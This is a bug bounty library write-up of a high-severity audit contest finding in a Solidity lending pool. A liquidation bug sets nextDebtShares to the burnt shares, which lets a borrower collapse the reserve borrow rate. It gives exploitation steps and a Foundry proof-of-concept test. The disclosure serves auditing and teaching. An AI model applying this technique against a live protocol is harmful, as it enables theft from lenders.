# A Reserve Borrow Rate can be significantly decreased after liquidation

Liquidation logic sets nextDebtShares to burnt shares instead of remaining total debt shares, letting a borrower slash the reserve borrow rate and cheaply repay debt.

- Payout: Audit contest
- Severity: high
- Program: New Scope
- Found by: 000000
- Disclosed: 2024-06-27
- Write-up quality: 7/10
- Original: https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/104
- Library page: https://bugbountylibrary.com/r/sherlock%3A2024-06-new-scope%3AH-1
- Tags: area:web3 domain:web3 impact:funds-loss impact:integrity kind:contest platform:sherlock sev:high tech:evm tech:solidity technique:source-review vuln:accounting-error vuln:business-logic

**Target:** Lending pool LiquidationLogic._repayDebtTokens / interest rate strategy
**Root cause:** After repayDebt, the code assigns vars.debtReserveCache.nextDebtShares = burnt (shares burned) rather than totalSupplies.debtShares (remaining shares), so the interest rate model sees a near-zero debt and recomputes a much lower borrow rate.
**Steps:**
1. Supply collateral (tokenA) and borrow tokenB so position is near liquidation threshold.
2. Advance time so position becomes unhealthy (HF below threshold).
3. Call `pool.liquidateSimple(tokenA, tokenB, pos, 0.01 ether)` with a tiny liquidation amount.
4. Observe `_repayDebtTokens` sets `nextDebtShares = burnt` (small) instead of remaining `totalSupplies.debtShares`.
5. Read reserveDataB.borrowRate: drops from ~1.05e26 to ~4.2e21.
**How found:** Code review of LiquidationLogic._repayDebtTokens noticed nextDebtShares assigned to `burnt` rather than the reserve's remaining debt shares, then traced how nextDebtShares feeds the interest rate strategy and wrote a Foundry PoC comparing borrowRate before/after liquidation.
**Exploitation:** A malicious borrower intentionally lets their position become liquidatable, then triggers a liquidation with a minimal repay amount. Because nextDebtShares is set to the tiny burnt amount, the reserve's borrow rate collapses, allowing the borrower to repay remaining debt at a drastically reduced interest accrual.
**Insight:** When auditing interest-rate/accrual code, verify that cache fields like nextDebtShares/nextBorrowIndex are set to post-operation totals (totalSupplies.debtShares), not to per-user deltas like burnt shares; a per-user value leaking into a global rate input silently corrupts the rate model.

## Proof of concept (copied exactly from the original report)

**Foundry PoC test showing borrow rate drop after liquidation**

```
function testLiquidationDecreaseBorrowRatePoc() external {
    oracleA.updateAnswer(100e8);
    oracleB.updateAnswer(100e8);

    _mintAndApprove(alice, tokenA, mintAmountA, address(pool));
    _mintAndApprove(bob, tokenB, mintAmountB, address(pool));

    vm.startPrank(alice);
    pool.supplySimple(address(tokenA), alice, supplyAmountA, 0);
    vm.stopPrank();

    vm.startPrank(bob);
    pool.supplySimple(address(tokenB), bob, supplyAmountB, 0);
    vm.stopPrank();

    vm.startPrank(alice);
    pool.borrowSimple(address(tokenB), alice, borrowAmountB - 1 ether, 0);
    vm.stopPrank();

    // Advance time to make the position unhealthy
    vm.warp(block.timestamp + 360 days);
    oracleA.updateAnswer(100e8);
    oracleB.updateAnswer(100e8);

    // Expect the position unhealthy
    vm.startPrank(alice);
    vm.expectRevert(bytes('HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD'));
    pool.borrowSimple(address(tokenB), alice, 1 ether, 0);
    vm.stopPrank();

    // Print log of borrow rate before liquidation
    pool.forceUpdateReserve(address(tokenB));
    DataTypes.ReserveData memory reserveDataB = pool.getReserveData(address(tokenB));
    console.log("reserveDataB.borrowRate before:", reserveDataB.borrowRate);

    vm.startPrank(bob);
    vm.expectEmit(true, true, true, false);
    emit PoolEventsLib.LiquidationCall(address(tokenA), address(tokenB), pos, 0, 0, bob);
    pool.liquidateSimple(address(tokenA), address(tokenB), pos, 0.01 ether);
    vm.stopPrank();

    // Print log of borrow rate after liquidation
    reserveDataB = pool.getReserveData(address(tokenB));
    console.log("reserveDataB.borrowRate after: ", reserveDataB.borrowRate);
  }
```

